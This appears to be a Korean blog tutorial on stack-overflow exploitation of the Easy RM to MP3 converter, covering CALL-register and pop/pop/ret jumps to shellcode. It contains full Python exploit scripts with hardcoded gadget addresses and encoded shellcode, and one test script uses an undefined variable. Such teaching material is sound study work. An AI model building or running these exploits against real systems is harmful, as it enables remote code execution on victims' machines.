Exploit writing tutorial part2 : how to jmp shellcode
이번 문서에서는 앞서 stack based overflow에서 jmp esp를 사용해 공격자가 원하는 곳으로 프로그램의 흐름을 제어하였다. 이러한 방법이외에도 다양한 방법들이 존재하며 앞서 작성한 exploit을 수정하며 다양한 방법을 알아 볼 것이다.
1. CALL [register]
만약 레지스터에 shellcode를 가르키는 주소가 로드된 경우 해당 register를 단순히 CALL하면 된다. 예를 들면 Esp가 shellcode를 가르키고 있다면 CALL esp를 통해 shellcode를 실행 시킬 수 있다. Kernal32.dll이 많은 CALL [register]를 가지고 있으므로 꽤나 공격가능한 경우의 수가 많이 존재한다.
해당 경우의 예시를 앞서 작성했던 Easy Rm to mp3 exploit파일을 기반으로 설명해보자. 먼저 상황에 대한 가정은 esp가 shellcode를 직접 가르키고 있다.
그럼 먼저 CALL esp를 포함하는 address를 찾아야한다. 여기서는 findjmp도구를 사용하는데 github에서 찾을 수 있었다.
https://github.com/nickvido/littleoldearthquake/blob/master/corelan/findjmp/findjmp/bin/findjmp.exe
CALL esp를 포함하는 address를 찾았으므로 eip를 0x7c8369f0으로 덮어쓴 형태의 exploit을 작성해보자. 수정된 코드는 아래와 같다.
import struct
call_reg = 0x7c8369f0
with open("call_reg.m3u","wb") as f:
junk= b"\x41"*26047
eip=struct.pack("I",call_reg)
dummy=b"B"*4
nop=b"\x90"*25
shell = b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shell += b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shell += b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shell += b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shell += b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shell += b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shell += b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shell += b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shell += b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shell += b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shell += b"\x7f\xe8\x7b\xca"
f.write(junk+eip+dummy+nop+shell)
print("m3u file created")
print(eip)
성공적으로 계산기가 실행되는 것을 확인 할 수 있다.
2. POP/RET
앞선 상황에서는 register중에 shellcode를 가르키는 register가 존재했다. 하지만 만약 shellcode를 가르키는 register가 없다면 어떻게 해야할까?
일단은 shellcode 자체는 stack어딘가에 위치하고 있을 것이다. Shellcode가 위치하는 address를 확인 한다면 pop/ret를 통해 shellcode로 점프 할 수 있다. 해당 방식의 전제는 esp+offset에 shellcode의 주소가 위치 해야한다. Esp를 덤프해서 shellcode의 시작부분이 존재하는 것을 확인한다면 공격이 가능하다.
공격자가 eip를 제어하려고 하는 경우 register중에 shellcode를 가르키는 것은 존재하지 않으나 shellcode가 esp+8에 존재한다면 eip에 pop/pop/ret명령을 통해 공격이 가능해진다. Esp+8로 흐름이 가기 때문에 해당위치에 jmp esp를 삽입한다면 shellcode로 점프가 가능해질 것이다.
실제 exploit을 가지고 알아보자.
먼저 payload를 아래와 같이 수정하자
dummy(26047byte)+dummy(4byte)+break+nop(7byte)+break+nop(500byte)
수정된 코드는 아래와 같다.
import struct
with open("pop_ret.m3u","wb") as f:
junk= b"\x41"*26047
eip=b"aaaa"
dummy=b"B"*4
shell=b"\xcc"
shell+=b"\x90"*7
shell+=b"\xcc"
shell+=b"\x90"*500
f.write(junk+eip+dummy+nop+shell)
print("m3u file created")
결과적으로 eip를 61616161로 채워 넣었고 esp는 0x000ff730을 가르키고 그로부터 8칸 떨어진 지점에서 shellcode의 실제 시작 부분이 보인다. 따라서 공격목표는 esp+8을 eip로 주입하는 것이다.
일단 pop명령은 stack의 꼭대기에서 4byte만큼을 꺼내는 작업을 수행한다. 따라서 pop을 두번 수행하면 esp는 esp+8지점을 가리키고 있다. 따라서 ret명령이 수행된다면 esp에 있는 값을 꺼내 eip에 주입하므로 만약 0x000ff738에 있는 명령이 jmp esp라면 shellcode로 점프 할 수 있을 것이다.
따라서 현재 필요한 것은 pop/pop/ret 명령이다. 해당 명령의 기계어 구성을 알기 위해 part1에에 했던 것 처럼 windbg에 easy rm to mp3프로그램을 attach시켜 보자.
Pop/pop/ret의 기계어는 0x5d,0x58,0xc3인 것을 확인 할 수 있다. 그럼 이제 dll중에서 해당 가젯을 찾아야한다.
Attach 된 상태에서 dll 목록을 살펴보자.
여기서도 앞선 문서와 마찬가지로 NULL byte를 가지는 address는 피하는 것이 좋다. 이번 경우에는 MSRMfilter00.dll에서 찾아보자.
3가지 address가 검색 되었는데 전부 null은 없으므로 어느것을 사용해도 문제 없다. 따라서 pop/pop/ret 가젯은 0x01886a10임을 확인하였다. 따라서 앞서 확인한 jmp esp의 값도 있으므로 payload는 아래와 같을 것이다.
dummy(26047byte)+pop/pop/ret+ dummy(4byte) + nop(8byte) + shellcode
수정된 코드는 아래와 같다.
import struct
jmp_esp=0x01afd3db
pop_pop_ret=0x01886a10
with open("popret.m3u","wb") as f:
junk= b"\x41"*26047
eip=struct.pack("I",pop_pop_ret)
jmpesp=struct.pack("I",jmp_esp)
dummy=b"B"*4
nop=b"\x90"*8
shell=jmpesp
shell +=b"\x90"*50
shell += b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shell += b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shell += b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shell += b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shell += b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shell += b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shell += b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shell += b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shell += b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shell += b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shell += b"\x7f\xe8\x7b\xca"
f.write(junk+eip+dummy+nop+shell)
print("m3u file created")
print(eip)
성공적으로 계산기가 실행이 된다.
'Pwnable' 카테고리의 다른 글
CVE-2017-11882 분석 (8) | 2021.05.14 |
---|---|
Exploit writing tutorial part3 : SEH base exploit (0) | 2021.02.14 |
Exploit writing tutorial part1 : Stack Based Overflows (1) | 2021.01.08 |